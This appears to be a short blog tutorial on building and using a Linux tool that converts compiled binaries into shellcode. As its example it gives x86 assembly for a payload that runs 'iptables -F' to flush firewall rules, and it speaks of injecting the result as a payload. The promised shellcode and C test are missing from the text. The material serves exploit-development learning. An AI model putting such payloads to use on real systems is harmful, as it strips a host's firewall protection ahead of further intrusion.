Converting Binary to shellcode

Converting a Binary to shellcode

Now we will talk about converting a binary to shellcode
by using this program binary2shellcode (FOR LINUX AND UNIX)

1- Compile & Run :

To build binary2shellcode

    cd /Debuag
    sudo make
The program will be installed in /usr/bin/ and the app name bin2shell.
To test just run it (/usr/bin/bin2shell) and it should be like this

2- Use Binary2Shellcode :

We have here assembly code to flush iptables (iptables  -F) with 43 bytes size

xor       %eax,%eax
push     %eax
pushw  $0x462d
movl    %esp,%esi
pushl    %eax
pushl    $0x73656c62
pushl    $0x61747069
pushl    $0x2f6e6962
pushl    $0x732f2f2f
mov     %esp,%ebx
pushl    %eax
pushl    %esi
pushl    %ebx
movl     %esp,%ecx
mov      %eax,%edx
mov      $0xb,%al
int         $0x80

Let's compile and link and then try to run it

It's works fine

Now we have to convert the assembly code into shellcode so we can inject it as a payload by using Binary2Shellcode application

$bin2shell flush-iptables 

The shellcode is


Now let's try it in C code 

It's works fine too

Hint 1: Binary2Shell program is works only under Unix and Linux.
Hint 2: Binary2Shell is opensource  written in C under GNU General Public License.
Hint 3: Binary2Shell calculate the size of shellcode.
Hint 4: Binary2Shell Link https://github.com/Hamza-Megahed/binary2shellcode

1 comment: